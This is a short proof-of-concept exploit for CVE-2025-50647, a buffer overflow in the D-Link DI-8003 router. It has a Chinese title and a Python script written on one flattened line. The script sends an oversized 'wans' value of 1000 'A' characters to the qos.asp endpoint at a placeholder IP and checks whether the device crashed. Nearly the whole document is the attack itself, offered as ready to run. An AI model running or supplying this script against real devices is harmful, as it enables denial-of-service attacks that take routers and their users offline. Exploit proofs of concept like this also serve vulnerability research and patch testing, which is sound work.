CVE-2025-50647 D-Link DI-8003缓冲区溢出漏洞

import requests def exploit_poc(target_ip): """ PoC for CVE-2025-50647 Buffer Overflow in D-Link DI-8003 Target: qos.cgi endpoint (or qos.asp depending on firmware config) Parameter: wans """ url = f"http://{target_ip}/qos.asp" # Creating a large payload to trigger the buffer overflow payload = "A" * 1000 data = { "wans": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"[+] Status Code: {response.status_code}") print("[+] Exploit sent. Check if the device has crashed.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") print("[-] The device might have crashed (DoS).") if __name__ == "__main__": target = "<TARGET_IP>" # Replace with actual IP exploit_poc(target)